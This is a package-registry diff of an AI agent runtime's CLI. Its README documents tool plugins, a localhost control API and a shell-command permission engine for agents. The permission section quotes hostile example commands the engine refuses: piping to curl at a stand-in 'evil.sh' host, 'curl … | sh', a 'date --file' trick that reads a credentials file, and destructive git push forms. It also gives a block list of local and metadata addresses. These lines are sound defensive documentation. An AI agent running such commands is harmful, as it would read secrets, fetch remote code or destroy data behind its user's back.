@stratusagent/cli 0.4.0 → 0.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +293 -9
- package/dist/index.d.ts +37 -11
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +548 -613
- package/dist/index.js.map +1 -1
- package/package.json +22 -12
package/README.md
CHANGED
|
@@ -29,6 +29,96 @@ npm install -g @stratusagent/channel-slack
|
|
|
29
29
|
If tokens are stored for an agent but the package isn't installed, `stratus
|
|
30
30
|
serve` says so and starts anyway, serving every other channel.
|
|
31
31
|
|
|
32
|
+
### Optional tool plugins
|
|
33
|
+
|
|
34
|
+
Capability is optional in the same way, and gated more tightly. A plugin runs
|
|
35
|
+
inside the daemon's process, so **installing one does not run it** — it runs
|
|
36
|
+
when a trusted config lists and enables it, and then only for the agents whose
|
|
37
|
+
souls name its tools:
|
|
38
|
+
|
|
39
|
+
```bash
|
|
40
|
+
npm install -g @stratusagent/tool-fs @stratusagent/tool-web
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
See [Tools](#tools-what-an-agent-can-actually-do) for the config block and what
|
|
44
|
+
each pack does.
|
|
45
|
+
|
|
46
|
+
### Optional control API and dashboard
|
|
47
|
+
|
|
48
|
+
Same idea, and the same reason: installing it is how you say you want a port
|
|
49
|
+
open. With it present, `stratus serve` also serves an authenticated HTTP +
|
|
50
|
+
WebSocket API on `127.0.0.1:4123`.
|
|
51
|
+
|
|
52
|
+
```bash
|
|
53
|
+
npm install -g @stratusagent/control-api @stratusagent/dashboard
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
Two packages, because the API has three consumers and only one of them is a
|
|
57
|
+
web page — the macOS app and a headless VM want the API without a UI. Install
|
|
58
|
+
`@stratusagent/control-api` alone for those; add `@stratusagent/dashboard` and
|
|
59
|
+
the API serves the web UI at `/` as well.
|
|
60
|
+
|
|
61
|
+
That API is what every non-terminal surface talks to — the web dashboard and
|
|
62
|
+
the macOS app alike. Its full reference (endpoints, auth, the event envelope)
|
|
63
|
+
lives in [its own README](https://github.com/stratuslabs/agent/tree/main/packages/control-api).
|
|
64
|
+
|
|
65
|
+
Two files appear while it is serving, both `0600`:
|
|
66
|
+
|
|
67
|
+
| File | What |
|
|
68
|
+
| --- | --- |
|
|
69
|
+
| `~/.stratus/gateway-token` | The bearer token clients authenticate with |
|
|
70
|
+
| `~/.stratus/gateway.json` | Where the daemon is reachable — url, host, port, pid — removed on a clean stop |
|
|
71
|
+
|
|
72
|
+
Turn it off with `stratus serve --no-api`, or in `~/.stratus/config.json`:
|
|
73
|
+
|
|
74
|
+
```jsonc
|
|
75
|
+
{
|
|
76
|
+
"api": {
|
|
77
|
+
"enabled": true,
|
|
78
|
+
"host": "127.0.0.1",
|
|
79
|
+
"port": 4123
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
Like `approvals`, this block is read **only** from a config you chose
|
|
85
|
+
yourself — the global `~/.stratus/config.json` or one passed with `--config`.
|
|
86
|
+
An auto-discovered project-local `stratus.config.json` ships in any
|
|
87
|
+
repository, and which interface a daemon binds is not a decision a cloned repo
|
|
88
|
+
gets to make; one that tries is ignored, loudly.
|
|
89
|
+
|
|
90
|
+
Localhost is the posture. To reach a machine at home, put it behind a tunnel
|
|
91
|
+
(Tailscale is the pattern we recommend) rather than binding a public
|
|
92
|
+
interface.
|
|
93
|
+
|
|
94
|
+
### The dashboard
|
|
95
|
+
|
|
96
|
+
```bash
|
|
97
|
+
stratus dashboard
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
It finds a running daemon through `~/.stratus/gateway.json`, or starts one in
|
|
101
|
+
the foreground when there is none (and says which it did). Then it mints a
|
|
102
|
+
**single-use, short-lived sign-in link** and opens your browser at it — the
|
|
103
|
+
one thing a browser cannot do for itself, since page JavaScript cannot read
|
|
104
|
+
`~/.stratus/gateway-token` and a WebSocket upgrade cannot carry a header.
|
|
105
|
+
|
|
106
|
+
The link works once. Run the command again for another. A daemon restart signs
|
|
107
|
+
the browser out too, because its sessions live in memory.
|
|
108
|
+
|
|
109
|
+
### Talking to a daemon from another machine
|
|
110
|
+
|
|
111
|
+
`stratus agents --gateway <url>` reads the roster from a running daemon
|
|
112
|
+
instead of resolving it locally — the same listing, answered by the API:
|
|
113
|
+
|
|
114
|
+
```bash
|
|
115
|
+
stratus agents --gateway http://127.0.0.1:4123
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
Locally that needs nothing else: the token comes from
|
|
119
|
+
`~/.stratus/gateway-token`. A daemon reached through a tunnel has its own
|
|
120
|
+
token, so pass it with `--token` or `STRATUS_GATEWAY_TOKEN`.
|
|
121
|
+
|
|
32
122
|
## Setup
|
|
33
123
|
|
|
34
124
|
`stratus setup` is the whole onboarding, as a small navigable menu:
|
|
@@ -97,9 +187,17 @@ terminal to prompt on. If somebody *is* reachable, `--approvals remote` asks
|
|
|
97
187
|
them instead — see [Asking a human](#asking-a-human-remote-approval).
|
|
98
188
|
|
|
99
189
|
A tool that declares no risk counts as `gated`, never `safe` — forgetting to
|
|
100
|
-
classify something should cost a prompt, not an unattended command.
|
|
101
|
-
|
|
102
|
-
`safe
|
|
190
|
+
classify something should cost a prompt, not an unattended command. The
|
|
191
|
+
built-in tools (`demo.echo`, `memory.remember`, `agent.delegate`) are all
|
|
192
|
+
`safe`; anything you install is where this starts to bite, which is what the
|
|
193
|
+
[Tools](#tools-what-an-agent-can-actually-do) section below is about.
|
|
194
|
+
|
|
195
|
+
A **shell** is the exception to the whole paragraph, because its risk is in
|
|
196
|
+
its argument rather than in its identity. `shell.run` is `gated`, and the
|
|
197
|
+
permission engine then judges each command: a safe scope (`git status`,
|
|
198
|
+
`git log`) runs unattended, everything else asks, and a control operator
|
|
199
|
+
anywhere in the string disqualifies it however innocent the base command is.
|
|
200
|
+
See [Which commands run unattended](#which-commands-run-unattended).
|
|
103
201
|
|
|
104
202
|
The line is *acting outside Stratus* — the filesystem, the network, another
|
|
105
203
|
service — not cost. Every turn spends provider tokens, including the one
|
|
@@ -182,11 +280,22 @@ Three things are worth knowing before you turn it on:
|
|
|
182
280
|
reason saying stratusd stopped while they were running and to send the
|
|
183
281
|
message again, rather than claiming to still be running forever. This is
|
|
184
282
|
only for an ungraceful stop: a normal restart denies what is parked and
|
|
185
|
-
finishes the turns those denials release before it exits.
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
283
|
+
finishes the turns those denials release before it exits. The thread hears
|
|
284
|
+
about it too: a turn that fails with nobody rendering it is reported where
|
|
285
|
+
it was asked, rather than going quiet and reading as an agent that never
|
|
286
|
+
replied.
|
|
287
|
+
- **A button left behind by a dead daemon corrects itself when clicked.** A
|
|
288
|
+
normal shutdown retracts its buttons; a crash cannot, and the new process
|
|
289
|
+
has no record of what the old one posted. Clicking such a prompt tells you
|
|
290
|
+
it is no longer pending *and* rewrites the message so the next reader is
|
|
291
|
+
not offered a decision nothing is waiting for. A prompt nobody clicks
|
|
292
|
+
stays as it is.
|
|
293
|
+
- **Always allow means different things for a tool and for a command.** For
|
|
294
|
+
an ordinary tool it lasts for the session: it stops that tool asking again
|
|
295
|
+
in the same conversation, and it is forgotten when the daemon restarts.
|
|
296
|
+
For a call that carries a command — `shell.run` — it persists a *scope*
|
|
297
|
+
instead, in `~/.stratus/agents/<id>.whitelist.json`, and that survives a
|
|
298
|
+
restart. See below for what a scope keeps out.
|
|
190
299
|
|
|
191
300
|
The request shows the tool's **arguments**, not just its name — for anything
|
|
192
301
|
whose danger lives in what it was called with, approving a bare tool name is
|
|
@@ -208,6 +317,170 @@ Approval buttons need the Slack app's **Interactivity** switched on. Apps
|
|
|
208
317
|
created from the manifest that `stratus setup` prints already have it; an app
|
|
209
318
|
created before this shipped needs it enabled once, in its App Manifest.
|
|
210
319
|
|
|
320
|
+
## Tools: what an agent can actually do
|
|
321
|
+
|
|
322
|
+
Out of the box an agent can echo, remember, and delegate. Everything else —
|
|
323
|
+
files, a shell, the web, a browser — arrives as a **plugin**: one package you
|
|
324
|
+
install, list, and enable.
|
|
325
|
+
|
|
326
|
+
```bash
|
|
327
|
+
npm install -g @stratusagent/tool-fs @stratusagent/tool-shell \
|
|
328
|
+
@stratusagent/tool-web @stratusagent/tool-browser
|
|
329
|
+
```
|
|
330
|
+
|
|
331
|
+
```jsonc
|
|
332
|
+
// ~/.stratus/config.json
|
|
333
|
+
{
|
|
334
|
+
"plugins": {
|
|
335
|
+
"@stratusagent/tool-fs": {
|
|
336
|
+
"enabled": true,
|
|
337
|
+
"roots": ["~/notes"],
|
|
338
|
+
"agents": {
|
|
339
|
+
"ava": { "roots": ["~/work/ava"] },
|
|
340
|
+
"juno": { "roots": ["~/work/juno", "~/shared"] }
|
|
341
|
+
}
|
|
342
|
+
},
|
|
343
|
+
"@stratusagent/tool-web": { "enabled": true },
|
|
344
|
+
"@stratusagent/tool-shell": { "enabled": true, "cwd": "~/work" }
|
|
345
|
+
}
|
|
346
|
+
}
|
|
347
|
+
```
|
|
348
|
+
|
|
349
|
+
Keyed by **package name**, because a plugin's identity is its package and one
|
|
350
|
+
may contribute more than tools. Per-agent settings go in an `agents` sub-block
|
|
351
|
+
over the defaults above them — the same shape `approvals` already uses, and it
|
|
352
|
+
matters more here: for `tool-fs` those values are an access boundary between
|
|
353
|
+
agents rather than a preference.
|
|
354
|
+
|
|
355
|
+
**Only a config you chose may list plugins** — `--config`, `STRATUS_CONFIG`, or
|
|
356
|
+
the global `~/.stratus/config.json`. A plugin runs in the daemon's own process,
|
|
357
|
+
so this list is a list of code, and an auto-discovered project-local
|
|
358
|
+
`stratus.config.json` ships with any repository you clone. Its `plugins` block
|
|
359
|
+
is ignored, with a warning naming the file, exactly as `api` and `approvals`
|
|
360
|
+
are.
|
|
361
|
+
|
|
362
|
+
`stratus run` and `stratus chat` load the same plugins from the same config, so
|
|
363
|
+
a tool that works locally works in the daemon, and one that is missing is
|
|
364
|
+
missing in both.
|
|
365
|
+
|
|
366
|
+
### Installing a plugin grants no agent anything
|
|
367
|
+
|
|
368
|
+
The soul's allowlist is the second gate, and the per-identity one:
|
|
369
|
+
|
|
370
|
+
```markdown
|
|
371
|
+
---
|
|
372
|
+
id: ava
|
|
373
|
+
tools: [fs.read, fs.search, web.fetch]
|
|
374
|
+
---
|
|
375
|
+
```
|
|
376
|
+
|
|
377
|
+
`fs.*` grants a whole toolset, so an agent given "the filesystem" does not need
|
|
378
|
+
editing every time the pack gains a tool. The prefix keeps its dot: `fs.*`
|
|
379
|
+
never matches `fsx.read`. Listing nothing grants every registered tool, which
|
|
380
|
+
is fine for a private agent and is not what you want once a shell is installed.
|
|
381
|
+
|
|
382
|
+
### What is available
|
|
383
|
+
|
|
384
|
+
| Package | Tools | Risk |
|
|
385
|
+
| --- | --- | --- |
|
|
386
|
+
| [`@stratusagent/tool-fs`](../tool-fs) | `fs.read`, `fs.list`, `fs.search` | `safe` inside the agent's roots |
|
|
387
|
+
| | `fs.write` | `gated` |
|
|
388
|
+
| [`@stratusagent/tool-shell`](../tool-shell) | `shell.run` | `gated`, then judged per command |
|
|
389
|
+
| [`@stratusagent/tool-web`](../tool-web) | `web.fetch` | `gated` |
|
|
390
|
+
| [`@stratusagent/tool-browser`](../tool-browser) | `browser.goto`, `.read`, `.screenshot` | `gated` |
|
|
391
|
+
| | `browser.act` | `dangerous` — always a human |
|
|
392
|
+
|
|
393
|
+
Each package's README carries its own settings and the reasoning behind its
|
|
394
|
+
risk levels. Three things are worth knowing here:
|
|
395
|
+
|
|
396
|
+
- **`tool-fs` roots are a boundary, not a preference.** No roots means no
|
|
397
|
+
filesystem — nothing is readable, rather than everything. Containment is
|
|
398
|
+
decided between real paths, so a symlink inside a root pointing at
|
|
399
|
+
`~/.stratus/credentials.json` is refused, and so is a write *through* a
|
|
400
|
+
symlinked directory.
|
|
401
|
+
- **`tool-shell` replaces the environment.** The command gets exactly what
|
|
402
|
+
you granted (`passEnv`, `env`) and nothing else — the daemon's own
|
|
403
|
+
environment, where `ANTHROPIC_API_KEY` lives, is not there to read.
|
|
404
|
+
- **`tool-web` and `tool-browser` refuse local addresses.** Both share one
|
|
405
|
+
policy: `http:`/`https:` only, and no loopback, RFC 1918, link-local
|
|
406
|
+
(`169.254.169.254`), or IPv6 unique-local — including the IPv4-mapped and
|
|
407
|
+
NAT64 spellings of the same addresses. It is enforced on the connection,
|
|
408
|
+
so a redirect or a DNS answer cannot walk an agent into your metadata
|
|
409
|
+
endpoint. `allowedHosts` opens a specific one when you mean to.
|
|
410
|
+
|
|
411
|
+
`GET /api/v1/catalog/tools` lists what a running daemon actually has, and the
|
|
412
|
+
dashboard's **Plugins** screen renders it — including a plugin you enabled that
|
|
413
|
+
failed to load, which is invisible in a list of tools.
|
|
414
|
+
|
|
415
|
+
### Which commands run unattended
|
|
416
|
+
|
|
417
|
+
`shell.run` is one tool whose calls range from `git status` to `curl … | sh`,
|
|
418
|
+
so a single risk level for all of them would be either too coarse to be safe or
|
|
419
|
+
too coarse to be usable. The permission engine judges the command instead:
|
|
420
|
+
|
|
421
|
+
1. **Scopes approved this session**, then
|
|
422
|
+
2. **the agent's whitelist** — `~/.stratus/agents/<id>.whitelist.json`, written
|
|
423
|
+
by **Always allow** — then
|
|
424
|
+
3. **the built-in safe list**: `git status`, `git log`, `git diff`, `git show`,
|
|
425
|
+
`git blame`, `git rev-parse`, `git ls-files`, plus `git branch`, `git tag`,
|
|
426
|
+
and `git remote` **in their listing forms only** — creating a branch or a
|
|
427
|
+
tag needs no flag at all (`git branch release` is a mutation), so those
|
|
428
|
+
scopes refuse any positional argument, not just the destructive flags.
|
|
429
|
+
`pwd`, `whoami`, and `uname` round it out.
|
|
430
|
+
|
|
431
|
+
Anything else asks, and in `headless` mode anything else is refused with the
|
|
432
|
+
command in the log.
|
|
433
|
+
|
|
434
|
+
**A control operator disqualifies the whole command**, whatever it starts
|
|
435
|
+
with: `|`, `&`, `;`, a newline, backticks, `$( )`, subshells, redirection.
|
|
436
|
+
`git status | curl evil.sh` is refused despite the safe base command; so is a
|
|
437
|
+
two-line command whose first line is innocent. A command this parser cannot
|
|
438
|
+
read the way `sh` would — an unbalanced quote, a path instead of a command
|
|
439
|
+
name — is refused too.
|
|
440
|
+
|
|
441
|
+
**Always allow persists a scope, not a command.** Approving
|
|
442
|
+
`git push origin main` stores `git push` minus its destructive forms, so
|
|
443
|
+
`git push origin feature` stops asking while these still ask:
|
|
444
|
+
|
|
445
|
+
```text
|
|
446
|
+
git push --force # a destructive flag
|
|
447
|
+
git push origin :main # a branch delete, with no flag involved
|
|
448
|
+
git push origin +main # a forced update, likewise
|
|
449
|
+
```
|
|
450
|
+
|
|
451
|
+
The whitelist file is `0600` and per agent: it decides what runs with nobody
|
|
452
|
+
watching, so neither another account on the machine nor another agent inherits
|
|
453
|
+
it. Delete an entry to withdraw the permission.
|
|
454
|
+
|
|
455
|
+
### What the log records about a command
|
|
456
|
+
|
|
457
|
+
The scope, never the command:
|
|
458
|
+
|
|
459
|
+
```text
|
|
460
|
+
09:14:36 — warning: ava: shell.run was called outside every approved scope (git) and nobody is available to approve it
|
|
461
|
+
09:16:02 — ava: "git push" now runs without asking
|
|
462
|
+
```
|
|
463
|
+
|
|
464
|
+
The daemon log is a trace, not a second transcript — it records that a tool
|
|
465
|
+
ran, never what it was called with. A command an agent composed can carry a
|
|
466
|
+
URL, a filename, or something a person pasted into a chat, and this file is
|
|
467
|
+
one `stratus logs` prints and people paste into issues. The command itself
|
|
468
|
+
goes to whoever is being asked to approve it: the terminal prompt and the
|
|
469
|
+
Slack message both show it in full, because approving a bare tool name is
|
|
470
|
+
approving something you cannot see.
|
|
471
|
+
|
|
472
|
+
The safe list is deliberately short, and `cat`, `ls`, and `grep` are the
|
|
473
|
+
tempting entries that cannot be on it — they read whatever path they are given,
|
|
474
|
+
so safe-listing them would safe-list reading your credentials file. Approve
|
|
475
|
+
them once for a scope you actually want instead.
|
|
476
|
+
|
|
477
|
+
The test is **what an argument can make the command do**, not what the command
|
|
478
|
+
is called. `date` was on this list until it turned out that
|
|
479
|
+
`date --file=~/.stratus/credentials.json` makes GNU `date` read that file and
|
|
480
|
+
echo every unparseable line back in its error text — which the tool returns.
|
|
481
|
+
A command that can be handed a path is a file reader wearing another name, so
|
|
482
|
+
`--file` is now refused in every scope, including ones you add.
|
|
483
|
+
|
|
211
484
|
## Always on
|
|
212
485
|
|
|
213
486
|
`stratus serve` stays a foreground process on purpose — debuggable, and
|
|
@@ -437,13 +710,24 @@ to refuse over.
|
|
|
437
710
|
| `--idle-timeout` | `stratus serve`: seconds of provider silence before the watchdog aborts a turn (default 120) |
|
|
438
711
|
| `--no-events` | Hide the event log |
|
|
439
712
|
| `--no-log-file` | `stratus serve`: do not write `~/.stratus/logs/stratusd.jsonl` |
|
|
713
|
+
| `--no-api` | `stratus serve`: do not serve the control API |
|
|
714
|
+
| `--api-host` | `stratus serve`: control API interface (default `127.0.0.1`) |
|
|
715
|
+
| `--api-port` | `stratus serve`: control API port (default `4123`; `0` picks any free port) |
|
|
716
|
+
| `--gateway <url>` | `stratus agents`: read the roster from a running daemon's control API |
|
|
717
|
+
| `--port`, `--host` | `stratus dashboard`: where a daemon it starts should bind |
|
|
718
|
+
| `--token` | Bearer token for `--gateway` (default: `~/.stratus/gateway-token`, or `STRATUS_GATEWAY_TOKEN`) |
|
|
440
719
|
| `--no-login` | `stratus service install`: install without the start-at-login trigger |
|
|
441
720
|
| `-f`, `--follow` | `stratus logs`: follow the log, across rotations |
|
|
442
721
|
| `-n <count>` | `stratus logs`: how much backlog to print (default 50) |
|
|
443
722
|
| `--agent`, `--session` | `stratus logs`: show only one agent's or one session's records |
|
|
444
723
|
|
|
724
|
+
Tool plugins have no flags: what is installed is a config decision (`plugins`
|
|
725
|
+
in a trusted config) and what an agent may call is a soul decision (`tools:`).
|
|
726
|
+
Neither is something a single run should be able to widen from the command
|
|
727
|
+
line.
|
|
728
|
+
|
|
445
729
|
Precedence: flags → `STRATUS_*` env vars → soul file hints → config file. Project-local `stratus.config.json` outranks the global `~/.stratus/config.json`; stored sign-ins are endpoint-bound and never sent to endpoints a project config selects.
|
|
446
730
|
|
|
447
|
-
Today the CLI covers setup, chat, one-shot runs, agent creation, the always-on gateway and its service integration, logs, diagnostics, Slack,
|
|
731
|
+
Today the CLI covers setup, chat, one-shot runs, agent creation, the always-on gateway and its service integration, logs, diagnostics, Slack, the control API, and the web dashboard.
|
|
448
732
|
|
|
449
733
|
Part of [Stratus Agent](https://github.com/stratuslabs/agent) — a tiny TypeScript agent runtime.
|
package/dist/index.d.ts
CHANGED
|
@@ -50,7 +50,17 @@ export interface ParsedRunCommand {
|
|
|
50
50
|
export interface ParsedDashboardCommand {
|
|
51
51
|
command: 'dashboard';
|
|
52
52
|
port?: number;
|
|
53
|
-
|
|
53
|
+
/**
|
|
54
|
+
* Present only when `--host` was actually given.
|
|
55
|
+
*
|
|
56
|
+
* A defaulted string here would be indistinguishable from an explicit
|
|
57
|
+
* `--host 127.0.0.1`, and the two mean opposite things when a trusted
|
|
58
|
+
* config says `api.host: "0.0.0.0"`: absent means "let the config decide",
|
|
59
|
+
* while explicit means "bind loopback, whatever the config says". Collapsing
|
|
60
|
+
* them exposed the API on every interface to an operator who had just asked
|
|
61
|
+
* for the opposite.
|
|
62
|
+
*/
|
|
63
|
+
host?: string;
|
|
54
64
|
openBrowser: boolean;
|
|
55
65
|
}
|
|
56
66
|
export interface ParsedSetupCommand {
|
|
@@ -78,6 +88,14 @@ export interface ParsedChatCommand {
|
|
|
78
88
|
export interface ParsedAgentsCommand {
|
|
79
89
|
command: 'agents';
|
|
80
90
|
format: 'text' | 'json';
|
|
91
|
+
/**
|
|
92
|
+
* Ask a running gateway instead of resolving locally. The first
|
|
93
|
+
* remote-consuming command: the same listing, rendered from the control
|
|
94
|
+
* API's answer rather than from this machine's files.
|
|
95
|
+
*/
|
|
96
|
+
gateway?: string;
|
|
97
|
+
/** Bearer token override, for a gateway whose token file is not local. */
|
|
98
|
+
token?: string;
|
|
81
99
|
}
|
|
82
100
|
export interface ParsedDoctorCommand {
|
|
83
101
|
command: 'doctor';
|
|
@@ -113,16 +131,18 @@ export interface ParsedServeCommand {
|
|
|
113
131
|
events: boolean;
|
|
114
132
|
/** Write the structured log to ~/.stratus/logs. Defaults to true. */
|
|
115
133
|
logToFile?: boolean;
|
|
134
|
+
/** Serve the control API. Defaults to true when the package is installed. */
|
|
135
|
+
api?: boolean;
|
|
136
|
+
/** Overrides `api.port` in the config file. */
|
|
137
|
+
apiPort?: number;
|
|
138
|
+
/** Overrides `api.host` in the config file. */
|
|
139
|
+
apiHost?: string;
|
|
116
140
|
}
|
|
117
141
|
export interface ParsedHelpCommand {
|
|
118
142
|
command: 'help';
|
|
119
143
|
}
|
|
120
144
|
export type ParsedCommand = ParsedRunCommand | ParsedChatCommand | ParsedDashboardCommand | ParsedSetupCommand | ParsedAgentNewCommand | ParsedAgentsCommand | ParsedDoctorCommand | ParsedLogsCommand | ParsedServiceCommand | ParsedServeCommand | ParsedHelpCommand;
|
|
121
|
-
export
|
|
122
|
-
url: string;
|
|
123
|
-
close: () => Promise<void>;
|
|
124
|
-
}
|
|
125
|
-
export declare const CLI_VERSION = "0.4.0";
|
|
145
|
+
export declare const CLI_VERSION = "0.6.0";
|
|
126
146
|
/**
|
|
127
147
|
* The range every package declares in its `engines` field. Two floors, not
|
|
128
148
|
* one: `node:sqlite` was unflagged in 22.13.0 on the LTS line and in 23.4.0
|
|
@@ -144,7 +164,7 @@ export declare const SUPPORTED_NODE_RANGE = ">=22.13 <23 || >=23.4";
|
|
|
144
164
|
* string is a bad reason to refuse to run.
|
|
145
165
|
*/
|
|
146
166
|
export declare const unsupportedNodeMessage: (version: string) => string | undefined;
|
|
147
|
-
declare const HELP_TEXT = "Stratus Agent CLI\n\nUsage:\n stratus setup\n stratus chat\n stratus chat --soul ./examples/souls/ava.md\n stratus run --prompt \"Use the demo tool\"\n stratus run \"Say hello\"\n ANTHROPIC_API_KEY=... stratus run --provider anthropic \"Say hello\"\n stratus run --soul ./examples/souls/ava.md \"Say hello\"\n echo \"Use the echo tool\" | stratus run --stdin\n STRATUS_PROVIDER=openai OPENAI_API_KEY=... stratus run \"Say hello\"\n stratus run --config ./stratus.config.json --provider openai \"Say hello\"\n stratus agents\n stratus doctor\n stratus service install\n stratus service status\n stratus logs -f\n stratus logs --agent ava -n 200\n stratus dashboard\n stratus dashboard --port 4123 --host 0.0.0.0 --no-open\n\nCommands:\n setup Menu-driven onboarding: pick a provider, sign in (Claude\n subscription or API key), create your agent, connect it to\n Slack, and test it \u2014 settings go to ~/.stratus/config.json,\n sign-ins and channel tokens to ~/.stratus/credentials.json\n (0600)\n chat Talk with your agent \u2014 the conversation persists across turns\n and remembered facts accumulate; /exit or Ctrl+C to leave\n run Execute one local Stratus Agent session\n serve Run stratusd, the always-on gateway: durable sessions, the\n whole roster live at once (each agent on its own provider),\n delegation, and a watchdog \u2014 Ctrl+C / SIGTERM drains cleanly\n (--idle-timeout <seconds>, --approvals <headless|remote>,\n --no-events, --no-log-file, --config <path>); everything it\n says is also written to ~/.stratus/logs, which\n \"stratus logs\" reads\n service Keep stratusd running under launchd (macOS) or systemd\n (Linux): install, uninstall, status, start, stop.\n Installing starts it now and at every login\n (--no-login installs without the login trigger,\n --config <path> pins the daemon to one config file)\n logs Read the daemon's log from any terminal: -f to follow,\n -n <count> for backlog, --agent / --session to filter,\n --format json for the raw records\n agent new Create an agent identity (generates a human-ish name + avatar theme)\n agents List your agents: who they are, where their souls live, what\n they run on, what they remember (also: stratus agent list)\n doctor Show what a run would use right now \u2014 provider, model, soul \u2014\n and which file or environment variable decided each, then\n flag anything that would surprise you (--format json)\n dashboard
|
|
167
|
+
declare const HELP_TEXT = "Stratus Agent CLI\n\nUsage:\n stratus setup\n stratus chat\n stratus chat --soul ./examples/souls/ava.md\n stratus run --prompt \"Use the demo tool\"\n stratus run \"Say hello\"\n ANTHROPIC_API_KEY=... stratus run --provider anthropic \"Say hello\"\n stratus run --soul ./examples/souls/ava.md \"Say hello\"\n echo \"Use the echo tool\" | stratus run --stdin\n STRATUS_PROVIDER=openai OPENAI_API_KEY=... stratus run \"Say hello\"\n stratus run --config ./stratus.config.json --provider openai \"Say hello\"\n stratus agents\n stratus agents --gateway http://127.0.0.1:4123\n stratus doctor\n stratus service install\n stratus service status\n stratus logs -f\n stratus logs --agent ava -n 200\n stratus dashboard\n stratus dashboard --port 4123 --host 0.0.0.0 --no-open\n\nCommands:\n setup Menu-driven onboarding: pick a provider, sign in (Claude\n subscription or API key), create your agent, connect it to\n Slack, and test it \u2014 settings go to ~/.stratus/config.json,\n sign-ins and channel tokens to ~/.stratus/credentials.json\n (0600)\n chat Talk with your agent \u2014 the conversation persists across turns\n and remembered facts accumulate; /exit or Ctrl+C to leave\n run Execute one local Stratus Agent session\n serve Run stratusd, the always-on gateway: durable sessions, the\n whole roster live at once (each agent on its own provider),\n delegation, and a watchdog \u2014 Ctrl+C / SIGTERM drains cleanly\n (--idle-timeout <seconds>, --approvals <headless|remote>,\n --no-events, --no-log-file, --config <path>); everything it\n says is also written to ~/.stratus/logs, which\n \"stratus logs\" reads. With @stratusagent/control-api\n installed it also serves the HTTP + WebSocket control API\n on 127.0.0.1:4123 (--no-api, --api-host, --api-port, or\n the config file's \"api\" block)\n service Keep stratusd running under launchd (macOS) or systemd\n (Linux): install, uninstall, status, start, stop.\n Installing starts it now and at every login\n (--no-login installs without the login trigger,\n --config <path> pins the daemon to one config file)\n logs Read the daemon's log from any terminal: -f to follow,\n -n <count> for backlog, --agent / --session to filter,\n --format json for the raw records\n agent new Create an agent identity (generates a human-ish name + avatar theme)\n agents List your agents: who they are, where their souls live, what\n they run on, what they remember (also: stratus agent list).\n --gateway <url> asks a running daemon instead of resolving\n locally, authenticating with ~/.stratus/gateway-token\n (override with --token or STRATUS_GATEWAY_TOKEN)\n doctor Show what a run would use right now \u2014 provider, model, soul \u2014\n and which file or environment variable decided each, then\n flag anything that would surprise you (--format json)\n dashboard Open the web dashboard: finds a running daemon (or starts one),\n mints a single-use sign-in link, and opens your browser at it.\n Needs @stratusagent/control-api and @stratusagent/dashboard\n help Show this help message\n\nAgent options:\n --name Agent name (omit to have one generated)\n --instructions The agent's persona/instructions\n --format Output format for agent new: text, json, or soul (a ready-to-edit soul file)\n\nOptions:\n --prompt, -p Prompt to send to the local agent loop\n --stdin Read the prompt from stdin\n --provider Provider to use: anthropic, openai, or demo\n --model Model name for real providers (anthropic default: claude-opus-5, openai default: gpt-4.1-mini)\n --base-url Override the provider API base URL\n --soul Run as the agent defined by a soul file (markdown + frontmatter, see examples/souls)\n --config Config file path (run: load settings from it, setup: write it)\n --format Output format: text or json (default: text)\n --no-events Hide event-by-event progress lines in text mode\n --approvals run/chat: tool approval mode \u2014 always, ask, or never (default: always)\n serve: how the daemon reaches a human \u2014 headless (refuse every\n gated call) or remote (ask in Slack). Default headless, or\n the config file's \"approvals.mode\"\n --max-turns Maximum provider turns per run (default: 8)\n --port dashboard: port for a daemon it starts (default: 4123)\n --host dashboard: host for a daemon it starts (default: 127.0.0.1)\n --no-open Do not open the browser automatically\n --gateway agents: read the roster from a running daemon's control API\n --token Bearer token for --gateway (default: ~/.stratus/gateway-token)\n --no-api serve: do not serve the control API\n --api-host serve: control API interface (default: 127.0.0.1)\n --api-port serve: control API port (default: 4123, 0 for any free port)\n --help, -h Show this help message\n\nConfig file:\n The CLI looks for ./stratus.config.json first, then a path from --config / STRATUS_CONFIG,\n then the global ~/.stratus/config.json written by `stratus setup`.\n A \"soul\" key (or STRATUS_SOUL) points at a soul file so every run uses that agent.\n Legacy STRATUSCLAW_* env vars and stratusclaw.config.json are still supported for compatibility.\n\nPlugins (tools):\n Capability is optional: install a package, then list it under \"plugins\" in a\n TRUSTED config (--config, STRATUS_CONFIG, or ~/.stratus/config.json), keyed by\n package name. A plugin runs inside this process, so an auto-discovered\n project-local stratus.config.json may not enable one.\n\n \"plugins\": {\n \"@stratusagent/tool-fs\": { \"enabled\": true, \"roots\": [\"~/notes\"],\n \"agents\": { \"ava\": { \"roots\": [\"~/work/ava\"] } } },\n \"@stratusagent/tool-web\": { \"enabled\": true }\n }\n\n Available: @stratusagent/tool-fs (fs.read/list/search/write),\n @stratusagent/tool-shell (shell.run), @stratusagent/tool-web (web.fetch),\n @stratusagent/tool-browser (browser.goto/read/screenshot/act).\n Installing one grants no agent anything \u2014 each soul lists what it may call.\n\nSoul files:\n A soul file is markdown with frontmatter (name, provider, model, tools, credentials)\n followed by the agent's persona in prose. See examples/souls/ava.md.\n \"tools\" takes exact names or a whole toolset: tools: [fs.read, fs.search] or\n tools: [fs.*]. Omitted means every registered tool.\n";
|
|
148
168
|
declare const stringifyValue: (value: JsonValue) => string;
|
|
149
169
|
export declare const parseCommand: (argv: string[], env?: CliEnvironment) => ParsedCommand;
|
|
150
170
|
export declare const formatEvent: (event: StratusEvent) => string | null;
|
|
@@ -172,14 +192,11 @@ export declare const runSingleLoop: (prompt: string, streams: CliStreams, option
|
|
|
172
192
|
approvals?: CliApprovalMode;
|
|
173
193
|
maxTurns?: number;
|
|
174
194
|
env?: CliEnvironment;
|
|
195
|
+
configPath?: string;
|
|
175
196
|
}) => Promise<Session>;
|
|
176
197
|
export declare const printSessionSummary: (session: Session, streams: CliStreams) => void;
|
|
177
198
|
export declare const runChat: (command: ParsedChatCommand, streams: CliStreams, env?: CliEnvironment) => Promise<number>;
|
|
178
